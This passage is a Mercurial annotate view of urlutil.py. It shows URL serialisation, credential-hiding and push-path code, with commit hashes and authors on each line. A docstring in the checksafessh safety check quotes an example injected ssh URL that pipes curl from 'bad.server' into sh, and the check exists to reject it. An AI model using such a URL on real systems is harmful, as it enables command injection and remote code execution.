Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
341 s += urlreq.quote(self.user, safe=self._safechars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
342 if self.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
343 s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
344 if self.user or self.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
345 s += b'@' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
346 if self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
347 if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
348 s += urlreq.quote(self.host) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
349 else: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
350 s += self.host |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
351 if self.port: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
352 s += b':' + urlreq.quote(self.port) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
353 if self.host: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
354 s += b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
355 if self.path: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
356 # TODO: similar to the query string, we should not unescape the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
357 # path when we store it, the path might contain '%2f' = '/', |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
358 # which we should *not* escape. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
359 s += urlreq.quote(self.path, safe=self._safepchars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
360 if self.query: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
361 # we store the query in escaped form. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
362 s += b'?' + self.query |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
363 if self.fragment is not None: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
364 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
365 return s |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
366 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
367 __str__ = encoding.strmethod(__bytes__) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
368 |
52907
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
369 def authinfo(self) -> int_misc.AuthInfoT: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
370 user, passwd = self.user, self.passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
371 try: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
372 self.user, self.passwd = None, None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
373 s = bytes(self) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
374 finally: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
375 self.user, self.passwd = user, passwd |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
376 if not self.user: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
377 return (s, None) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
378 # authinfo[1] is passed to urllib2 password manager, and its |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
379 # URIs must not contain credentials. The host is passed in the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
380 # URIs list because Python < 2.4.3 uses only that to search for |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
381 # a password. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
382 return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
383 |
52907
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
384 def isabs(self) -> bool: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
385 if self.scheme and self.scheme != b'file': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
386 return True # remote URL |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
387 if hasdriveletter(self.path): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
388 return True # absolute for our purposes - can't be joined() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
389 if self.path.startswith(br'\\'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
390 return True # Windows UNC path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
391 if self.path.startswith(b'/'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
392 return True # POSIX-style |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
393 return False |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
394 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
395 def localpath(self) -> bytes: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
396 if self.scheme == b'file' or self.scheme == b'bundle': |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
397 path = self.path or b'/' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
398 # For Windows, we need to promote hosts containing drive |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
399 # letters to paths with drive letters. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
400 if hasdriveletter(self._hostport): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
401 path = self._hostport + b'/' + self.path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
402 elif ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
403 self.host is not None and self.path and not hasdriveletter(path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
404 ): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
405 path = b'/' + path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
406 return path |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
407 return self._origpath |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
408 |
52907
ba343f763595
typing: add an interface for url
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52670
diff
changeset
|
409 def islocal(self) -> bool: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
410 '''whether localpath will return something that posixfile can open''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
411 return ( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
412 not self.scheme |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
413 or self.scheme == b'file' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
414 or self.scheme == b'bundle' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
415 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
416 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
417 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
418 def hasscheme(path: bytes) -> bool: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
419 return bool(url(path).scheme) # cast to help pytype |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
420 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
421 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
422 def hasdriveletter(path: bytes) -> bool: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
423 return bool(path) and path[1:2] == b':' and path[0:1].isalpha() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
424 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
425 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
426 def urllocalpath(path: bytes) -> bytes: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
427 return url(path, parsequery=False, parsefragment=False).localpath() |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
428 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
429 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
430 def checksafessh(path: bytes) -> None: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
431 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
432 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
433 This is a sanity check for ssh urls. ssh will parse the first item as |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
434 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
435 Let's prevent these potentially exploited urls entirely and warn the |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
436 user. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
437 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
438 Raises an error.Abort when the url is unsafe. |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
439 """ |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
440 path = urlreq.unquote(path) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
441 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
442 raise error.Abort( |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
443 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
444 ) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
445 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
446 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
447 def hidepassword(u: bytes) -> bytes: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
448 '''hide user credential in a url string''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
449 u = url(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
450 if u.passwd: |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
451 u.passwd = b'***' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
452 return bytes(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
453 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
454 |
51304
f15cb5111a1e
pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51302
diff
changeset
|
455 def removeauth(u: bytes) -> bytes: |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
456 '''remove all authentication information from a url string''' |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
457 u = url(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
458 u.user = u.passwd = None |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
459 return bytes(u) |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
460 |
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
461 |
47071
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47070
diff
changeset
|
462 def list_paths(ui, target_path=None): |
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47070
diff
changeset
|
463 """list all the (name, paths) in the passed ui""" |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
464 result = [] |
47071
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47070
diff
changeset
|
465 if target_path is None: |
49004
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48375
diff
changeset
|
466 for name, paths in sorted(ui.paths.items()): |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
467 for p in paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
468 result.append((name, p)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
469 |
47071
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47070
diff
changeset
|
470 else: |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
471 for path in ui.paths.get(target_path, []): |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
472 result.append((target_path, path)) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
473 return result |
47071
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47070
diff
changeset
|
474 |
c2b5365aa827
urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47070
diff
changeset
|
475 |
47068
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
476 def try_path(ui, url): |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
477 """try to build a path from a url |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
478 |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
479 Return None if no Path could built. |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
480 """ |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
481 try: |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
482 # we pass the ui instance are warning might need to be issued |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
483 return path(ui, None, rawloc=url) |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
484 except ValueError: |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
485 return None |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
486 |
c029b35565dd
url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46964
diff
changeset
|
487 |
46909
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
488 def get_push_paths(repo, ui, dests): |
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
489 """yields all the `path` selected as push destination by `dests`""" |
067840864f37
urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46908
diff
changeset
|
490 if not dests: |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
491 if b'default-push' in ui.paths: |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
492 for p in ui.paths[b'default-push']: |
49809
1fae401b3b14
path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49808
diff
changeset
|
493 yield p.get_push_variant() |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
494 elif b'default' in ui.paths: |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
495 for p in ui.paths[b'default']: |
49809
1fae401b3b14
path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49808
diff
changeset
|
496 yield p.get_push_variant() |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
497 else: |
46917
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
498 raise error.ConfigError( |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
499 _(b'default repository not configured!'), |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
500 hint=_(b"see 'hg help config.paths'"), |
efadec3ea8e2
push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46916
diff
changeset
|
501 ) |
46916
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
502 else: |
7061eee84151
push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46910
diff
changeset
|
503 for dest in dests: |
47069
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47068
diff
changeset
|
504 if dest in ui.paths: |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
505 for p in ui.paths[dest]: |
49809
1fae401b3b14
path: have `get_push_paths` directly return the push variants
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49808
diff
changeset
|
506 yield p.get_push_variant() |
47069
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47068
diff
changeset
|
507 else: |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47068
diff
changeset
|
508 path = try_path(ui, dest) |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47068
diff
changeset
|
509 if path is None: |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47068
diff
changeset
|
510 msg = _(b'repository %s does not exist') |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47068
diff
changeset
|
511 msg %= dest |
d69a9628eba7
urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47068
diff
changeset
|
512 raise error.RepoError(msg) |
49809
